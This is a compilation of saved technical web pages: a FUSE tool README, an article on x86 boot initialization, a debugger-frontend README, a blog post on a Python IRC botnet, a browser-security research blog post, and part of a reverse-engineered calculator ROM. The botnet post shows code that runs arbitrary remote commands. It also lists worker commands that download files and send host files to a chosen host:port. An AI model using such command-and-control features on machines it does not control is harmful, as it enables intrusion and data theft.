    * Works with Python 2.7 \(but not 3.x yet\)
  * Python-FUSE and its dependencies \(libfuse, kernel support, etc.\)

#  Usage

Standard FUSE mountpoint stuff:

[code]

    acd <mountpoint> -o<options>
    
[/code]

##  Mount Options

  * `email`: your Amazon Cloud Drive login email
  * `password`: your Amazon Cloud Drive login password
  * `cachefree`: the percentage of free space to maintain on the filecache's file system; _10_ by default

#  License

acd\_fuse is released under a **MIT License** , in keeping with the library it
uses for accessing Amazon Cloud Drive, PyAmazonCloudDrive. That guy \(whose
name I believe to be Sakurai Youhei http://d.hatena.ne.jp/sakurai\_youhei/\),
did all the hard work and deserves all the credit for writing a great API.

#  Contact

You can email me at comptona@gmail.com.

To report bugs or request features, please use the **Issues** feature.

# Booting an Intel Architecture System, Part I: Early Initialization | Dr Dobb's
**Created:**| _1/3/2012 4:21:48 PM_  
---|---  
**Updated:**| _1/3/2012 4:21:48 PM_  
**Author:**| __  
**Tags:**| _x86_  
  

# Booting an Intel Architecture System, Part I: Early Initialization

By Pete Dice, December 26, 2011

Post a Comment

The boot sequence today is far more complex than it was even a decade ago.
Here's a detailed, low-level, step-by-step walkthrough of the boot up.  

### Mode Selection

IA-32 supports three operating modes and one quasi-operating mode:

  * Protected mode is the native operating mode of the processor. It provides a rich set of architectural features, flexibility, high performance, and backward compatibility. 
  * Real-address mode or "real mode" provides the programming environment of the Intel 8086 processor, with a few extensions, such as the ability to switch to protected or system management mode. Whenever a reset or a power-on happens, the system transitions back to real-address mode. 
  * System management mode \(SMM\) is a standard architectural feature in all IA-32 processors, beginning with the 386 SL. This mode provides an operating system or executive with a transparent mechanism for implementing power management and OEM differentiation features. SMM is entered through activation of an external system interrupt pin, which generates a System Management Interrupt \(SMI\). In SMM, the processor switches to a separate address space while saving the context of the currently running program or task. SMM-specific code may then be executed transparently. Upon returning from SMM, the processor is placed back into its state prior to the system management interrupt. The system firmware is usually responsible for creating an system management interrupt handler, which may periodically take over the system from the host OS. Legitimate workarounds are executed in the SMI handler, and handling and logging-off errors may happen at the system level. As this presents a potential security issue, there is also a lock bit that resists tampering with this mechanism. Vendors of real-time operating systems often recommend disabling this feature because it could subvert the OS environment. If this happens, then the additional work of the SMI handler would need to be incorporated into the RTOS for that platform, or else the potential exists of missing something important in the way of error response or workarounds. 
  * Virtual-8086 mode is a quasi-operating mode supported by the processor in protected mode. This mode allows the processor to execute 8086 software in a protected, multitasking environment.

The Intel 64 architecture supports all operating modes of IA-32 architecture
plus IA-32e mode. In IA-32e mode, the processor supports two sub-modes:
compatibility mode and 64-bit mode. Compatibility mode allows most legacy
protected-mode applications to run unchanged, while 64-bit mode provides
64-bit linear addressing and support for physical address space larger than 64
GB.

Figure 2 shows how the processor moves between operating modes.

<img src='img/Temp2_1125.gif' />

**Figure 2: Switching processor operating modes.**

  

When the processor is first powered on, it will be in a special mode similar
to real mode, but with the top 12 address lines asserted high. This aliasing
allows the boot code to be accessed directly from nonvolatile RAM \(physical
address `0xFFFxxxxx`\).

Upon execution of the first long jump, these 12 address lines will be driven
according to instructions by firmware. If one of the protected modes is not
entered before the first long jump, the processor will enter real mode, with
only 1 MB of addressability. In order for real mode to work without memory,
the chipset needs to be able to alias a range of memory below 1 MB to an
equivalent range just below 4 GB. Certain chipsets do not have this aliasing
and may require a switch to another operating mode before performing the first
long jump. The processor also invalidates the internal caches and translation
look-aside buffers.

The processor continues to boot in real mode. There is no particular technical
reason for the boot sequence to occur in real mode. Some speculate that this
feature is maintained in order to ensure that the platform can boot legacy
code such as MS-DOS. While this is a valid issue, there are other factors that
complicate a move to protected-mode booting. The change would need to be
introduced and validated among a broad ecosystem of manufacturers and
developers, for example. Compatibility issues would arise in test and
manufacturing environments. These and other natural hurdles keep boot mode
"real."

The first power-on mode is actually a special subset of real mode. The top 12
address lines are held high, thus allowing aliasing, in which the processor
can execute code from nonvolatile storage \(such as flash memory\) located
within the lowest one megabyte as if it were located at the top of memory.

Normal operation of firmware \(including the BIOS\) is to switch to flat
protected mode as early in the boot sequence as possible. It is usually not
necessary to switch back to real mode unless executing an option ROM that
makes legacy software interrupt calls. Flat protected mode runs 32-bit code
and physical addresses are mapped one-to-one with logical addresses \(that is,
paging is off\). The interrupt descriptor table is used for interrupt
handling. This is the recommended mode for all BIOS/boot loaders.

### Early Initialization

The early phase of the BIOS/bootloader initializes the memory and processor
cores. In a BIOS constructed in accord with the Unified EFI Forum's UEFI 2.0
framework, the security and Pre-EFI Initialization \(PEI\) phases are normally
synonymous with "early initialization." It doesn't matter if legacy or UEFI
BIOS is used. From a hardware point of view, the early initialization sequence
is the same.

In a multicore system, the bootstrap processor is the CPU core \(or thread\)
that is chosen to boot the system firmware, which is normally single-threaded.
At `RESET`, all of the processors race for a semaphore flag bit in the chipset
The first finds it `clear` and in the process of reading it sets the flag; the
other processors find the flag `set` and enter a wait-for-SIPI \(Start-up
Inter-Processor Interrupt\) or` halt` state. The first processor initializes
main memory and the Application Processors \(APs\), then continues with the
rest of the boot process.

A multiprocessor system does not truly enter multiprocessing operation until
the OS takes over. While it is possible to do a limited amount of parallel
processing during the UEFI boot phase, such as during memory initialization
with multiple socket designs, any true multithreading activity would require
changes to be made to the Driver Execution Environment \(DXE\) phase of the
UEFI. Without obvious benefits, such changes are unlikely to be broadly
adopted.

The early initialization phase next readies the bootstrap processor and I/O
peripherals' base address registers, which are needed to configure the memory
controller. The device-specific portion of an Intel architecture memory map is
highly configurable. Most devices are seen and accessed via a logical
Peripheral Component Interconnect \(PCI\) bus hierarchy. Device control
registers are mapped to a predefined I/O or memory-mapped I/O space, and they
can be set up before the memory map is configured. This allows the early
initialization firmware to configure the memory map of the device as needed to
set up DRAM. Before DRAM can be configured, the firmware must establish the
exact configuration of DRAM that is on the board. The Intel Architecture
reference platform memory map is described in detail in Chapter 6 of my book,
_Quick Boot: A Guide for Embedded Firmware Developers_, from Intel Press.

System-on-a-chip \(SOC\) devices based on other processor architectures
typically provide a static address map for all internal peripherals, with
external devices connected via a bus interface. Bus-based devices are mapped
to a memory range within the SOC address space. These SOC devices usually
provide a configurable chip-select register set to specify the base address
and size of the memory range enabled by the chip select. SOCs based on Intel
Architecture primarily use the logical PCI infrastructure for internal and
external devices.

The location of the device in the host's memory address space is defined by
the PCI Base Address Register \(BAR\) for each of the devices. The device
initialization typically enables all the BAR registers for the devices
required for system boot. The BIOS will assign all devices in the system a PCI
base address by writing the appropriate BAR registers during PCI enumeration.
Long before full PCI enumeration, the BIOS must enable the PCI Express
\(PCIe\) BAR as well as the Platform Controller Hub \(PCH\) Root Complex Base
Address Register \(RCBA\) BAR for memory, I/O, and memory-mapped I/O \(MMIO\)
interactions during the early phase of boot. Depending on the chipset, there
are prefetchers that can be enabled at this point to speed up data transfer
from the flash device. There may also be Direct Media Interface \(DMI\) link
settings that must be tuned for optimal performance.

The next step, initialization of the CPU, requires simple configuration of
processor and machine registers, loading a microcode update, and enabling the
Local APIC \(LAPIC\).

Microcode is a hardware layer of instructions involved in the implementation
of the machine-defined architecture. It is most prevalent in CISC-based
processors. Microcode is developed by the CPU vendor and incorporated into an
internal CPU ROM during manufacture. Since the infamous "Pentium flaw," Intel
processor architecture allows that microcode to be updated in the field either
through a BIOS update or via an OS update.

Today, an Intel processor must have the latest microcode update to be
considered a warranted CPU. Intel provides microcode updates that are written
to the microcode store in the CPU. The updates are encrypted and signed by
Intel such that only the processor that the microcode update was designed for
can authenticate and load the update. On socketed systems, the BIOS may have
to carry many flavors of microcode update depending on the number of processor
steppings supported. It is important to load microcode updates early in the
boot sequence to limit the exposure of the system to known errata in the
silicon. Note that the microcode update may need to be reapplied to the CPU
after certain reset events in the boot sequence.

Next, the LAPICs must be enabled to handle interrupts that occur before
enabling protected mode.

Software initialization code must load a minimum number of protected-mode data
structures and code modules into memory to support reliable operation of the
processor in protected mode. These data structures include an Interrupt
Descriptor Table \(IDT\), a Global Descriptor Table \(GDT\), a Task-State
Segment \(TSS\), and, optionally, a Local Descriptor Table \(LDT\). If paging
is to be used, at least one page directory and one page table must be loaded.
A code segment containing the code to be executed when the processor switches
to protected mode must also be loaded, as well as one or more code modules
that contain necessary interrupt and exception handlers.

Initialization code must also initialize certain system registers. The global
descriptor table register must be initialized, along with control registers
CR1 through CR4. The IDT register may be initialized immediately after
switching to protected mode, prior to enabling interrupts. Memory Type Range
Registers \(MTRRs\) are also initialized.

With these data structures, code modules, and system registers initialized,
the processor can be switched to protected mode. This is accomplished by
loading control register CR0 with a value that sets the PE \(protected mode
enable\) flag. From this point onward, it is likely that the system will not
enter real mode again, legacy option ROMs and legacy OS/BIOS interface
notwithstanding, until the next hardware reset is experienced.

Since no DRAM is available at this point, code initially operates in a
stackless environment. Most modern processors have an internal cache that can
be configured as RAM to provide a software stack. Developers must write
extremely tight code when using this cache-as-RAM feature because an eviction
would be unacceptable to the system at this point in the boot sequence; there
is no memory to maintain coherency. That's why processors operate in "No Evict
Mode" \(NEM\) at this point in the boot process, when they are operating on a
cache-as-RAM basis. In NEM, a cache-line miss in the processor will not cause
an eviction. Developing code with an available software stack is much easier,
and initialization code often performs the minimal setup to use a stack even
prior to DRAM initialization.

The processor may boot into a slower than optimal mode for various reasons. It
may be considered less risky to run in a slower mode, or it may be done to
save power. The BIOS may force the speed to something appropriate for a faster
boot. This additional optimization is optional; the OS will likely have the
drivers to deal with this parameter when it loads.

# snarez/voltron - lldb / gdb frontend

**Created:**| _10/9/2013 10:02:27 AM_  
---|---  
**Updated:**| _10/9/2013 10:06:12 AM_  
**Author:**| __  
**Tags:**| _Debugging programming awesome llvm_  
  

# voltron****

##  A half-arsed UI module for GDB & LLDB**.**

I got sick of GDB's \(lack of\) UI, so I built this**.** fG**\!** 's gdbinit
makes GDB slightly more bearable, and this does a similar job in a different
way**.** **voltron** allows you to attach views running in other terminal
windows to a GDB or LLDB session, resulting in a more modular and flexible UI
like you get in a GUI debugger like WinDbg, Immunity Debugger, OllyDbg,
etc**.** It's not in the same league as a proper GUI debugger, but it does
make GDB more bearable**.**

It's basically held together by sticky tape, so don't expect too much**.**

<img src='img/Temp2_10643.png' alt='voltron example' />

I've taken a lot of inspiration from the way fG**\!** 's `gdbinit` renders the
registers, flags, jump info etc**.** So big thanks to him for all the hard
work he's done on that over the years**.**

##  Support****

**voltron** supports GDB version 7, LLDB, and has limited support for GDB
version 6**.**

The following architectures are supported:

  * x86
  * x86\_64
  * armv7s
  * arm64

ARM support is LLDB-only at this stage**.** armv7 will probably work as well
if someone wants to test it and let me know**.**

##  Installation****

A standard python setup script is included**.**

[code]

    # python setup**.** py install
    
[/code]

This will install the **voltron** egg wherever that happens on your system,
and an executable named `voltron` to `/usr/local/bin/`**.**

##  Configuration****

A sample configuration file is included in the repo**.** Copy it to
`~/.voltron/config` and mess with it and you should get the idea**.** Header
and footer positions, visbility and colours are configurable along with other
view-specific items \(e**.** g. colours for labels and values in the register
view\)**.**

In the example config at the top level, the "all\_views" section sets up a
base configuration to apply to all views**.** Each view can be configured
individually overriding these settings**.** For example, the "stack\_view"
section in the example config overrides a number of these settings to
reposition the title and info labels**.** The "register\_view" section in the
example config contains some settings overriding the default colours for the
register view**.** Have a look at the source for other items in
"format\_defaults" that can be overridden in this section of the config**.**

There is also support for named view configurations for each type**.** The
example configuration contains a config section called
"some\_named\_stack\_view", which is a modified version of the example stack
view configuration**.** If you specify this name with the `-n` option, this
named configuration will be added to the existing config for that view type:

[code]

        $ voltron stack -n "some_named_stack_view"
    
[/code]

Some options specified in the configuration file can also be overridden by
command line arguments**.** At this stage, just the show/hide header/footer
options**.**

So the resulting order of precedence for configuration is:

  1. defaults in source
  2. "all\_views" config
  3. view-specific config
  4. named view config
  5. command line args

Each configuration level is added to the previous level, and only the options
specified in this level override the previous level**.**

##  Help****

**voltron** uses the `argparse` module with subcommands, so the command line
interface should be relatively familiar**.** Top-level help, including a list
of available subcommands, will be output with `-h`**.** Detailed help for
subcommands can be obtained the same way:

[code]

    $ voltron -h
    $ voltron view -h
    $ voltron view reg -h
    
[/code]

##  Usage - GDBv7****

  1. Load **voltron** into your debugger \(this could go in your `.gdbinit`\)**.** The full path will be inside the **voltron** egg**.** For example, on OS X it might be _/Library/Python/2**.** 7/site-packages/voltron-0.1-py2.7.egg/dbgentry**.** py_.
[code]     source /path/to/voltron/dbgentry**.** py

    
[/code]

  2. Fire up the debugger and start the **voltron** server thread \(you could also put this in your `.gdbinit`\)
[code]     $ gdb whatever

    gdb$ voltron start
    
[/code]

  3. In another terminal \(I use iTerm panes\) start one of the UI views
[code]     $ voltron view reg -v

    $ voltron view stack
    $ voltron view disasm
    $ voltron view bt
    $ voltron view cmd 'x/32x $rip'
    
[/code]

  4. The UI view code will attach to the server \(via a domain socket\) and refresh every time the debugger is stopped**.** So, set a break point and let the debugger hit it and everything should be updated**.** A forced update can be triggered with the following command: 
[code]     gdb$ voltron update

    
[/code]

  5. Before you exit the debugger, execute the following command or GDB will hang since the domain socket will still be open**.**
[code]     gdb$ voltron stop

    
[/code]

##  Usage - GDBv6****

**Note:** **voltron** only has limited support for GDBv6 as it's tough to get
useful data out of GDB without the Python API**.** A set of GDB macros are
included to interact with **voltron** \(which in this case runs as a
background process started by the `voltron_start` macro\)**.** Only the
register and stack views are supported.

A `hook-stop` macro is included - if you have your own custom one \(e**.** g.
fG\!'s\) you should just add `voltron_update` to your own and comment out the
one in `voltron.gdb`**.**

The macro file will be inside the **voltron** egg**.** For example, on OS X it
might be _/Library/Python/2**.** 7/site-
packages/voltron-0.1-py2.7.egg/voltron.gdb_.

  1. Load the macros into your debugger \(this could go in your `.gdbinit`\)
[code]     source /path/to/voltron.gdb

    
[/code]

  2. Fire up the debugger and start the **voltron** server thread \(you could also put this in your `.gdbinit`\)
[code]     $ gdb whatever

    gdb$ voltron_start
    
[/code]

  3. In another terminal \(I use iTerm panes\) start one of the UI views
[code]     $ voltron view reg -v

    $ voltron view stack
    
[/code]

  4. The UI view code will attach to the server \(via a domain socket\) and refresh every time the debugger is stopped**.** So, set a break point and let the debugger hit it and everything should be updated**.** A forced update can be triggered with the following command: 
[code]     gdb$ voltron_update

    
[/code]

  5. Before you exit the debugger, execute the following command the server process will be left running in the background**.**
[code]     gdb$ voltron_stop

    
[/code]

##  Usage - LLDB****

  1. Load **voltron** into your debugger \(this could go in your `.lldbinit`\)**.** The full path will be inside the **voltron** egg**.** For example, on OS X it might be _/Library/Python/2**.** 7/site-packages/voltron-0**.** 1-py2.7.egg/dbgentry.py_.
[code]     command script import /path/to/voltron/dbgentry**.** py

    
[/code]

  2. Fire up the debugger and start the **voltron** server thread \(you could also put this in your `.lldbinit`\)
[code]     $ lldb whatever

    (lldb) voltron start
    
[/code]

  3. In another terminal \(I use iTerm panes\) start one of the UI views
[code]     $ voltron view reg -v

    $ voltron view stack
    $ voltron view disasm
    $ voltron view bt
    $ voltron view cmd 'reg read'
    
[/code]

  4. The UI view code will attach to the server \(via a domain socket\) and refresh every time the debugger is stopped**.** So, set a break point and let the debugger hit it and everything should be updated**.** A forced update can be triggered with the following command: 
[code]     (lldb) voltron update

    
[/code]

##  Layout automation****

###  tmux****

There's a few tmux scripting tools around - tmuxinator  is one of them**.**
You'll probably need to use the latest repo version \(as of July 11, 2013\) as
the current stable version has a bug that results in narrow panes not being
created properly or something**.** Seems to be resolved in the latest repo
version.

Here's a sample **tmuxinator** config for a layout similar to the example
screencap that works well on an 11" MacBook Air in fullscreen mode:

[code]

    project_name: voltron
    project_root: **.**
    cli_args: -v -2
    tabs:
      - madhax:
          layout: 15a8,169x41,0,0{147x41,0,0[147x13,0,0{81x13,0,0,60,65x13,82,0,61},147x19,0,14,62,147x7,0,34{89x7,0,34,63,57x7,90,34,64}],21x41,148,0,65}
          panes:
            - voltron view disasm
            - voltron view cmd "i b"
            - gdb
            - voltron view stack 
            - voltron view bt
            - voltron view reg
    
[/code]

The `layout` option there configures the actual dimensions of the panes**.**
You can generate the layout info like this:

[code]

    $ tmux list-windows
    1: madhax* (6 panes) [169x41] [layout 15a8,169x41,0,0{147x41,0,0[147x13,0,0{81x13,0,0,60,65x13,82,0,61},147x19,0,14,62,147x7,0,34{89x7,0,34,63,57x7,90,34,64}],21x41,148,0,65}] @11 (active)
    
[/code]

##  Bugs****

See the issues thing on github**.**

##  Development****

I initially hacked this together in a night as a "do the bare minimum to make
my life better" project, as larger projects of this nature that I start never
get finished**.** I'm continuing development on this in an ad hoc fashion**.**
If you have a feature request feel free to add it as an issue on github, or
add it yourself and send a pull request**.**

If you want to add a new view type you'll just need to add a new subclass of
`TerminalView` \(see the others for examples\) that registers for updates and
renders data for your own message type, and potentially add some code to
`VoltronCommand`/`VoltronGDBCommand`/`VoltronLLDBCommand` to grab the
necessary data and cram it into an update message**.**

##  License****

This software is released under the "Buy snare a beer" license**.** If you use
this and don't hate it, buy me a beer at a conference some time**.**

##  FAQ****

Q: Dude, why don't you just use X**?**

A: IDA's debugger doesn't work with Y, LLDB doesn't work with Z, none of the
GDB UIs are any good for assembly-level debugging, and I don't use
Windows**.**

****

# charles leifer | A simple botnet written in Python
**Created:**| _4/26/2011 8:49:49 PM_  
---|---  
**Updated:**| _4/26/2011 8:49:49 PM_  
**Author:**| __  
**Tags:**| _botnets python network-security programming_  
  

## A simple botnet written in Python

## A simple botnet written in Python

2 Comments | Tags: python irc botnet | April 20th, 2011 4:54p.m.
As of this week we instituted a regular "hackday" at my office -- anything
goes, you can work on whatever you like, so at 11:30 the night before the
hackday started I decided on writing a simple IRC-powered botnet. The
wikipedia definition for a botnet is a little poorly-worded, so I've
paraphrased it:

> A botnet is a collection of infected computers or bots that have been taken
> over by hackers \(also known as bot herders\) and are used to perform
> malicious tasks or functions. A botnet performs actions from the client
> computer while the operator controls it remotely via IRC.
What I wrote really only matches the second half of this definition, as I
didn't attempt to write code that "infects" machines or attempt to replicate
itself. My project simply allows you to control an arbitrary number of
machines via simple IRC commands. The remote-workers communicate with and
report back to the control program via an IRC backchannel, while the operator
of the Botnet issues commands directly to the control program.

<img src='img/Temp2_10125.png' alt='Botnet Diagram' />

Botnet Diagram

## How it works

It's not very complicated\! I was already familiar with some of the rudiments
of the IRC protocol from hacking on a simple IRC bot library. The parts that I
needed to figure out were:

  * ability to track when workers came on/off-line so they could be sent jobs
  * easily pass data from operator -> workers and back again

### Worker registration

The diagram below shows the process or registration that happens when a worker
comes online. Workers must know beforehand the nick of the command program
\(or have a way of finding it out\) -- they then send a private message to the
command program indicating their presence. The command program acknowledges
this, adds the worker's nick to the registry of available workers, and sends
the worker the location of the command channel. The worker then joins the
channel and is able to start executing tasks from the operator.

<img src='img/Temp2_10127.png' alt='Worker registration' />

Worker registration

In the event a worker comes online and cannot reach the command program, it
will keep trying every 30 seconds until it receives an acknowledgement.
Additionally, every two minutes the command program pings the workers,
removing any dead ones from the list.

### Task execution

Tasks are initially parsed by the command program and then dispatched to
workers via the command channel. The operator can specify any number of
workers to set to work on a specific task. The syntax is straightforward:

[code]

    !execute (<number of workers>) <command> <arguments>
    
[/code]

Below is a diagram of the basic workflow:

<img src='img/Temp2_10126.png' alt='Worker task execution' />

Worker task execution

Worker tasks are parsed by the worker bot and can accept any number of
arbitrary arguments, which are extracted by an operator-defined regex. Here's
an example of how the "run" command looks \(which executes a command on the
host machine\):

[code]

    def get_task_patterns(self):
        return (
            ('run (?P<program>.*)', self.run),
            # ... any other command patterns ...
        )
    
    def run(self, program):
        fh = os.popen(program)
        return fh.read()
    
[/code]

Dead simple\! Tasks can return any arbitrary text which is then parsed by the
worker's task runner and sent back to the command program. At any time, the
operator can request the data for a given task.

### A note on security

The operator must authenticate with the command program to issue commands -
the password is hardcoded in the BotnetBot. Likewise, workers will only accept
commands from the command program.

## Example session

Below is a sample session. First step is to authenticate with the bot:

[code]

    <cleifer> !auth password
    <boss1337> Success
    
    <cleifer> !status
    <boss1337> 2 workers available
    <boss1337> 0 tasks have been scheduled
    
[/code]

Execute a command on one of the workers:

[code]

    <cleifer> !execute 1 run vmstat
    <boss1337> Scheduled task: "run vmstat" with id 1 [1 workers]
    <boss1337> Task 1 completed by 1 workers
    
[/code]

Print the data returned by the last executed command:

[code]

    <cleifer> !print
    <boss1337> [workerbot:{alpha}] - run vmstat
    <boss1337> procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu----
    <boss1337> r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa
    <boss1337> 0  0      0 352900 583696 1298868    0    0    16    31  133  172  4  2 94  0
    
[/code]

Find open ports on the workers hosts:

[code]

    <cleifer> !execute ports
    <boss1337> Scheduled task: "ports" with id 2 [2 workers]
    <boss1337> Task 2 completed by 2 workers
    <cleifer> !print
    <boss1337> [workerbot:{alpha}] - ports
    <boss1337> [22, 80, 631]
    <boss1337> [workerbot_346:{rho}] - ports
    <boss1337> [22, 80]
    
[/code]

## Becoming a bot herder

If you'd like to try this out yourself, feel free to grab a checkout of the
source, available on GitHub. The worker is programmed with the following
commands:

  * **run**
****

****executes the given program

  * **download**
****

****will download the file at the given url and save it to the host machine

  * **info** returns information about the host machine's operating system
  * **ports** does a quick port-scan of the system ports 20-1025
  * **send\_file**
****

****

****

****streams the file on the host computer to the given host:port

  * **status** returns the size of the worker's task queue

Adding your own commands is really easy, though -- just add them to the tuple
returned by the _get\_task\_patterns_ method, which looks like this:

[code]

    def get_task_patterns(self):
        return (
            ('download (?P<url>.*)', self.download),
            ('info', self.info),
            ('ports', self.ports),
            ('run (?P<program>.*)', self.run),
            ('send_file (?P<filename>[^\s]+) (?P<destination>[^\s]+)', self.send_file),
            ('status', self.status_report),
    
            # adding another command - this will return the system time and optionally
            # take a format parameter
            ('get_time(?: (?P<format>.+))?', self.get_time),
        )
    
[/code]

Now define your callback, which will perform whatever task you like and
optionally return a string. The returned data will be sent to the command
program and made available to the operator.

[code]

    def get_time(self, format=None):
        now = datetime.datetime.now() # remember to import datetime at the top of the module
        if format:
            return now.strftime(format)
        return str(now)
    
[/code]

Here's how you might call that command:

[code]

    <cleifer> !execute get_time
    <boss1337> Scheduled task: "get_time" with id 1 [1 workers]
    <boss1337> Task 1 completed by 1 workers
    <cleifer> !print 1
    <boss1337> [workerbot:{alpha}] - get_time
    <boss1337> 2011-04-21 10:41:16.251871
    <cleifer> !execute get_time %H:%M
    <boss1337> Scheduled task: "get_time %H:%M" with id 2 [1 workers]
    <boss1337> Task 2 completed by 1 workers
    <cleifer> !print
    <boss1337> [workerbot:{alpha}] - get_time %H:%M
    <boss1337> 10:42
    
[/code]

The bots are extensible so you can write your own commands if you want to take
up bot-herding -- this tool could be used to restart web nodes, update
checkouts, report on status, anything really since it can be used to execute
arbitrary commands.

Happy hacking\!

## Links

  * You can check out the source code on GitHub
  * Information on running the botnet can be found in the README
  * IRC protocol, RFC 1459

# The Times They Are A-Changin' | Accuvant
**Created:**| _12/18/2011 4:50:46 PM_  
---|---  
**Updated:**| _12/18/2011 4:50:46 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

**By: The Accuvant LABS R &D Team**

We at Accuvant LABS have been overwhelmed by the positive feedback we’ve
received for our research paper “Browser Security Comparison – A Quantitative
Approach”. By now many have had a chance to sit down with the paper and
understand the materials, as evidenced by the sheer amount of feedback we’ve
received. We want to thank everyone who has supplied us with their feedback;
your words have not fallen on deaf ears.

Google approached Accuvant LABS to design a methodology for comparing browser
security, and execute on the methodology we defined by producing a paper. We
both explicitly agreed that Accuvant LABS would have complete independence in
the methodology and conclusion before we proceeded. The Accuvant LABS R+D team
sat down and reviewed what had been published in the past. Once we had fully
immersed ourselves in what is considered "state-of-the-art" regarding security
comparisons, we were shocked that over the past 10 years there has been fairly
limited innovations in methodology, testing, and delivery regarding security
comparisons. Shock quickly gave way to a rush of enthusiasm. We realized we
could create a fundamentally better approach to security comparisons. Our most
important innovations fall into two categories.

First, the criteria of past papers didn’t capture recent advancements in
browser security. If a paper presupposes the idea that an end-user will
download and run any executable that’s presented to them then, maybe naively,
we believe that supposition represents a need to educate the end-user rather
than being relevant to the security of software. Perhaps we just have more
faith in the intelligence of end-users than the people who have been
previously developing criteria. This fundamentally different viewpoint can
simply be attributed to the fact that, when you’re a team of researchers that
have an outstanding record of identifying vulnerabilities, you have a
different perspective. What we decided to focus on were the specific
properties of a browser that would make it difficult for attackers to
compromise a browser. We couldn't think of a more relevant way to analyze
browser security.

Second, we wanted to create a delivery vehicle that would demand rational
conversation. Since we know that any system or criteria developed would have
flaws, as does every system, we wanted to foster an environment for productive
conversation. By releasing our criteria, methodology, and data the only
arguments that can be made by a rational person are relevant arguments. If
anyone believes there are issues with our data, they can run our tools to
generate the data and ensure that our data is correct. If our tools are
incorrect, the source code is available so anyone can cite an actual line of
code that leads to flawed data. If someone feels our criteria are incomplete,
they can develop additional criteria, create tools to generate data for the
new criteria, generate the data, and then disclose the results. We did this
with the hope that any dissention or disagreement with our paper would create
a driver that would further advance the topic as a whole to the industry,
rather than just leaving it to individuals to irrationally condemn, and by
doing so contribute no value to the process.

The open nature of our research also had an ancillary benefit. With our level
of transparency, we simply could not be biased. We can confidently tout our
lack of bias because everything is available for scrutiny. Anyone who thinks
we are biased should point to specific erroneous data, a flaw in a tool, or a
problem with our methodology. Much of the feedback we've received thus far
shows that many people understand that the transparency we maintain prevents
bias, and we couldn't be happier.

Whenever you start along the path of research you inevitably find new paths to
take; however, "real researchers release" therefore, we had to draw the line
somewhere. The next browser security comparison paper we’d release would
include Opera. Some great points were made about how many view Opera as the
most secure browser, so it makes sense to include it in a security comparison.
We didn’t include Opera because we wanted to make our research paper relevant
to the largest quantity of end-users.

We have sat down and created a list of additional criteria that we could focus
on for the next release of our paper. These additional criteria have come from
our own brainstorming sessions and feedback we've received. These criteria
include, but are in no way limited to:

  * Browser Centric Cross-Domain Attacks
  * DOM Security Implementation
  * Anti-XSS Protection
  * Anti-CSRF Protection
  * Frame Poisoning
  * Heap Implementation Security
  * SEHOP

One other interesting item is Safari. The majority of users browsing the web
with Safari use OS X. For our research paper, we limited our analysis to
Windows as a host platform. In order to do Safari justice, we debated the use
of two approaches. The first approach was to create a completely separate
paper judging the security of browsers on OS X. The second approach was to
find a way to translate Windows security properties into OS X security
properties in order to allow fairness in the comparison. With the second
approach, it would then be rational to attack the translation, and it wouldn’t
be productive. Therefore, in the future we’d like to approach it in an OS X
centric methodology.

Again, we’d like to thank everyone for joining the conversation and invite the
stragglers to join us. There are wonderful points that many incredibly
intelligent people are making. There are also some more amusing points of
discussion that have really made our week. Only together, as a community, can
we advance the state of security.

<img src='img/Temp2_8329.png' />

Dictated, but not read.

# Reversing Sinclair's amazing 1974 calculator hack - half the ROM of the
HP-35

**Created:**| _8/31/2013 12:44:18 PM_  
---|---  
**Updated:**| _8/31/2013 12:44:18 PM_  
**Author:**| __  
**Tags:**| _hardware reversing awesome math_  
  

# **R** eversing Sinclair's amazing 1974 calculator hack - half the ROM of the
HP-35****

In a hotel room in Texas, Clive Sinclair had a big problem**.** He wanted to
sell a cheap scientific calculator that would grab the market from expensive
calculators such as the popular HP-35**.** Hewlett-Packard had taken two
years, 20 engineers, and a million dollars to design the HP-35 , which used 5
complex chips  and sold for $395**.** Sinclair's partnership with calculator
manufacturer Bowmar had gone nowhere**.** Now Texas Instruments offered him an
inexpensive calculator chip  that could barely do four-function math**.**
Could he use this chip to build a $100 scientific calculator**?**

Texas Instruments' engineers said this was impossible - their chip only had 3
storage registers, no subroutine calls, and no storage for constants such as
π**.** The ROM storage in the calculator held only 320 instructions, just
enough for basic arithmetic**.** How could they possibly squeeze any
scientific functions into this chip**?**

Fortunately Clive Sinclair, head of Sinclair Radionics, had a secret weapon -
programming whiz and math PhD Nigel Searle**.** In a few days in Texas, they
came up with new algorithms and wrote the code for the world's first single-
chip scientific calculator, somehow programming sine, cosine, tangent,
arcsine, arccos, arctan, log, and exponentiation into the chip**.** The
engineers at Texas Instruments were amazed**.**

How did they do it? Up until now it's been a mystery**.** But through reverse
engineering, I've determined the exact algorithms and implemented a simulator
that runs the calculator's actual code**.** The reverse-engineered code along
with my detailed comments is in the window below**.**

<img src='img/Temp2_6958.png' />

START ZFA ALL init - clear flags

ZFB ALL

AKA ALL clear A and C

AKC ALL

For display, A's MANT starts in digit 5**.** For computation, MANT starts in
digit 6

C holds the previous value, with MANT starting in digit 6**.** Digit 5 counts
inputted digits

MAINLOOP SLLA MANT Shift mantissa for display

AKB ALL clear B

WAITSCAN SYNC loop until no key pressed

BINE WAITSCAN

WAITKEY WAITNO WAITED wait for key

WAITED2 SYNC debounce: still pressed**?**

BIE WAITKEY loop if no key

SRLA MANT MANT is shifted right during calculation

BKO LOWERKEY sequentially scan key columns

BKO PLUSKEY

BKO MINUSKEY

BKO DIVKEY

BKO MULTKEY

BKO UPPERKEY

BKO EKEY

BKO ZEROKEY

EXAB ALL save A in B, A=0

AKCN DIGIT1 get digit by incrementing until column found

EXAB ALL restore A, B holds count

BINE MAINLOOP start over if nothing pressed

ZEROKEY TFB EMODE B holds key 0-9

BINE EDIGIT

If OPDONE, a digit starts a new number in A, leaving the previous in C

TFB OPDONE if OPDONE..**.**

BIE LABEL33

AKA ALL then clear A and OPDONE

ZFB OPDONE

LABEL33 ACKA DIGIT C holds digit position

BSHIFT SRLB ALL shift B right C times**.**

SAKA DIGIT1 decrement A

BIE BSHIFT \(no borrow\)

ACKC DIGIT1 increment digit count in C

AABA MANT Append new digit

BIE MAINLOOP done digit processing

EDIGIT ZFB NEWEXP clear new exponent flag

SLLA EXP shift exponent left

SLLB ALL shift digit left

AABA EXP append new digit to exponent

BIE MAINLOOP done

EKEY SFB EMODE entering exponent mode

SFB NEWEXP

BIE MAINLOOP done

LOWERKEY SFA LOW LOW and UP\_LOW set for LOWER key

